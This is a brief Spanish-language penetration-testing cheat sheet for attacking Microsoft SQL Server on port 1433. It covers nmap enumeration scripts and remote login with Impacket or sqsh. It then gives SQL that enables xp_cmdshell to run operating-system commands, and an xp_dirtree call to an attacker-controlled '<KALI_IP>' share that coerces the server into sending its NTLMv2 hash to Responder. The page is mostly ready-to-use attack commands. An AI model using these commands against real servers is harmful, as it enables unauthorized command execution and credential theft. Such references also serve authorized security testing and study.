Saltar a contenido

MSSQL (1433) - Enumeration

1. Nmap Scripts

Identificar versión y auth methods.

nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell <IP>

2. Remote Login

Si tienes credenciales (o sa vacío).

# Impacket (Linux)
mssqlclient.py <DOMAIN>/<USER>:<PASS>@<IP> -windows-auth

# sqsh (Linux)
sqsh -S <IP> -U <USER> -P <PASS>

3. RCE (xp_cmdshell)

Si eres admin (sa user), habilita command execution.

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Ejecutar comandos
exec xp_cmdshell 'whoami';

4. Hash Stealing (xp_dirtree)

Obligar al servidor SQL a autenticarse contra nuestro Responder.

exec master..xp_dirtree '\\<KALI_IP>\share';
Recibe el hash NTLMv2 en tu Kali.